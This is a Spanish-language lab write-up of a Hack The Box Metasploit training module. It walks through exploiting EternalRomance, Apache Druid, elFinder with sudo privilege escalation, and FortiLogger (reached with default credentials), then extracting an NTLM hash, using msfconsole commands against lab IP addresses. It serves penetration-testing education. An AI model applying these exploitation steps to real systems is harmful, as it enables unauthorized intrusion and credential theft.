Using the Metasploit Framework
Overview
En principio se explica qué es Metasploit y cómo utilizarlo para realizar pruebas de seguridad. Esta herramienta cuenta con una gran cantidad de módulos que automatizan la explotación de un sistema. A lo largo de sus secciones, vamos viendo componentes y funcionalidades clave de Metasploit, como los plugins, los payloads, los encoders, los scripts, etc.
Tiene unos cuantos ejercicios para poner en práctica lo visto. De esta forma aprendà a buscar exploits para una vulnerabilidad o un servicio en concreto, seleccionar el módulo, ver información adicional sobre ese módulo, especificar el target, lanzar el exploit y entablar una shell.
Una cuestión sobre la que se enfatiza desde el principio es la importancia de tomar a Metasploit o cualquier otra herramienta automatizada como una herramienta más y asà evitar caer en una visión en túnel que nos lleve a pensar que "si la herramienta no puede hacerlo, entonces yo tampoco puedo".
Introduction to Metasploit
Esta primera parte cuenta con dos preguntas teóricas:
¿Qué versión de Metasploit viene equipada con una interfaz GUI?
Se trata de Metasploit Pro
.
¿Qué comando se usa para interactuar con la versión gratuita de Metasploit?
El comando es msfconsole
.
Modules
El ejercicio de esta sección consiste en utilizar Metasploit para explotar la máquina vÃctima con el EternalRomance y encontrar el archivo flag.txt en el escritorio del usuario Administrator. Se trata de una máquina Windows.
Primero desplegamos el target y la Pwnbox. Luego, iniciamos Metasploit con el comando msfconsole
y buscamos por la vulnerabilidad EternalRomance con search
.

Tenemos dos resultados, vamos a utilizar el primer exploit que está identificado con el número 0.
[msf](Jobs:0 Agents:0) >> use 0
Con el comando show options
podemos ver qué información necesitamos pasarle para poder ejecutarlo.

En este caso, vamos a pasarle nuestra IP de atacante como LHOST y la IP de la máquina vÃctima como RHOST.
>> set LHOST 10.10.15.21
LHOST => 10.10.15.21
>> set RHOST 10.129.2.141
RHOST => 10.129.2.141
Para obtener nuestra IP, ejecutamos un ifconfig
y nos quedamos con la interfaz tun0 que corresponde a la VPN de HTB.
$ ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 209.151.150.5 netmask 255.255.252.0 broadcast 209.151.151.255
inet6 fe80::a4ba:3bff:fe08:2930 prefixlen 64 scopeid 0x20<link>
ether a6:ba:3b:08:29:30 txqueuelen 1000 (Ethernet)
RX packets 214660 bytes 137376016 (131.0 MiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 168049 bytes 262688896 (250.5 MiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 321199 bytes 267436240 (255.0 MiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 321199 bytes 267436240 (255.0 MiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
tun0: flags=4305<UP,POINTOPOINT,RUNNING,NOARP,MULTICAST> mtu 1500
inet 10.10.15.21 netmask 255.255.254.0 destination 10.10.15.21
inet6 fe80::3113:d0bb:6ef7:acee prefixlen 64 scopeid 0x20<link>
inet6 dead:beef:2::1113 prefixlen 64 scopeid 0x0<global>
unspec 00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00 txqueuelen 500
(UNSPEC)
RX packets 865 bytes 661158 (645.6 KiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 901 bytes 488710 (477.2 KiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
Una vez hecho esto, corremos el exploit con run
y obtenemos una sesión de Meterpreter.

Retrocedemos dos directorios hacia atrás para llegar a la raÃz y listamos el contenido.

Nos movemos al directorio Users y volvemos a ver qué hay dentro.

Nos metemos al directorio del usuario Administrator.

Luego nos metemos a Desktop, donde podemos ver la flag.

Payloads
En este otro ejercicio, tenemos que explotar el servicio Apache Druid y encontrar la flag.txt. A diferencia de la anterior, esta es una máquina Linux.
De nuevo, arrancamos Metasploit con msfconsole
.
Buscamos por vulnerabilidades asociadas al Apache Druid y seleccionamos el primer exploit.

Revisamos lo que nos solicita el exploit con show options
.

Indicamos el LHOST y el RHOST.
>> set LHOST 10.10.15.38
LHOST => 10.10.15.38
>> set RHOST 10.129.203.52
RHOST => 10.129.203.52
Y finalmente corremos el exploit con run
.

Nos movemos al directorio raÃz y visualizamos la flag.

Sessions & Jobs
La máquina corre una aplicación web especÃfica que podemos determinar mirando su código fuente. Para eso, lanzamos un cURL a la IP, en el title vemos el nombre de la aplicación: elFinder
.
$ curl 10.129.139.23
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=2">
<title>elFinder 2.1.x source version with PHP connector</title>
Ahora hay que encontrar un exploit en MSF para obtener una shell. Iniciamos Metasploit y buscamos por vulnerabilidades de elFinder.

En este caso, probamos con el exploit 3, vemos sus opciones.

Configuramos el LHOST y el RHOST:
>> set LHOST 10.10.15.38
LHOST => 10.10.15.38
>> set RHOST 10.129.139.23
RHOST => 10.129.139.23
Corremos el exploit con run
y obtenemos la sesión de Meterpreter.

Ejecutamos el comando shell
para que nos otorgue una consola. Obtenemos la shell como el usuario que estaba corriendo el servicio web: www-data
.

El sistema tiene una versión antigua de sudo, tenemos que encontrar el exploit correspondiente para escalar privilegios y convertirnos en root.
Lo primero que hice fue averiguar la versión de sudo.

Luego puse la sesión en segundo plano con CTRL + Z. Con sessions
se pueden listar las sesiones que están abiertas.

Busqué vulnerabilidades para esa versión en concreto de sudo.

Con show options
revisé qué información necesitaba para lanzar este módulo post-explotación.

Tuve que indicar la sesión y el LHOST.
>> set SESSION 1
SESSION => 1
>> set LHOST 10.10.15.38
LHOST => 10.10.15.38
Lancé el exploit.

Y me otorgó una shell como root.

Retrocedà un directorio para llegar a la raÃz y listé el contenido.

Me movà al directorio root y ahà estaba la flag.

Meterpreter
Tenemos que encontrar un exploit que nos permita ganar acceso al sistema, no tenemos más información que esa. Asà que lo más conveniente es lanzar un escaneo de puertos con nmap para ver qué servicios están expuestos y cuáles pueden tener vulnerabilidades.
$ nmap -sCV -n -v -T5 10.129.203.65
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
3389/tcp open ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=WIN-51BJ97BCIPV
| Issuer: commonName=WIN-51BJ97BCIPV
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-02-15T20:27:32
| Not valid after: 2024-08-16T20:27:32
| MD5: e60d3ef1e5ae9a0e23a244e589cfebb0
|_SHA-1: 50588057c1116bc3bd6cde22b962f64c1a047ee8
|_ssl-date: 2024-02-16T20:53:09+00:00; +1s from scanner time.
| rdp-ntlm-info:
| Target_Name: WIN-51BJ97BCIPV
| NetBIOS_Domain_Name: WIN-51BJ97BCIPV
| NetBIOS_Computer_Name: WIN-51BJ97BCIPV
| DNS_Domain_Name: WIN-51BJ97BCIPV
| DNS_Computer_Name: WIN-51BJ97BCIPV
| Product_Version: 10.0.17763
|_ System_Time: 2024-02-16T20:53:02+00:00
5000/tcp open http Microsoft IIS httpd 10.0
| http-methods:
| Supported Methods: OPTIONS TRACE GET HEAD POST
|_ Potentially risky methods: TRACE
|_http-title: FortiLogger | Log and Report System
|_http-server-header: Microsoft-IIS/10.0
|_http-favicon: Unknown favicon MD5: E4B674BE34803DBC1F1D53737A490D0C
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
En el puerto 5000 me llamó la atención que estuviera FortiLogger. Busqué información y resulta que es una herramienta desarrollada por Fortinet que se utiliza comúnmente para el monitoreo y la generación de informes de eventos en entornos de seguridad de red.
Accedemos al servicio web por un navegador y nos encontramos con un panel de inicio de sesión.

Probamos credenciales tÃpicas, de las cuales admin:admin
resultan ser correctas.
Asà se ve la interfaz; si hacemos click en el Ãcono de información que está enmarcado, veremos la versión.


Busqué vulnerabilidades asociadas a esta aplicación con Metasploit y encontré una.

Estos son los requerimientos para lanzar el exploit.

Añadà el LHOST y el RHOST.
>> set LHOST 10.10.15.38
LHOST => 10.10.15.38
>> set RHOST 10.129.203.65
RHOST => 10.129.203.65
Corrà el exploit y obtuve una shell como el usuario NT AUTHORITY\SYSTEM
.

Lo que queda es encontrar el hash NTLM para el usuario htb-student. Para eso, desde Meterpreter ejecuté este comando:

El hash NTLM es el siguiente: cf3a5525ee9414229e66279623ed5c58
.
Last updated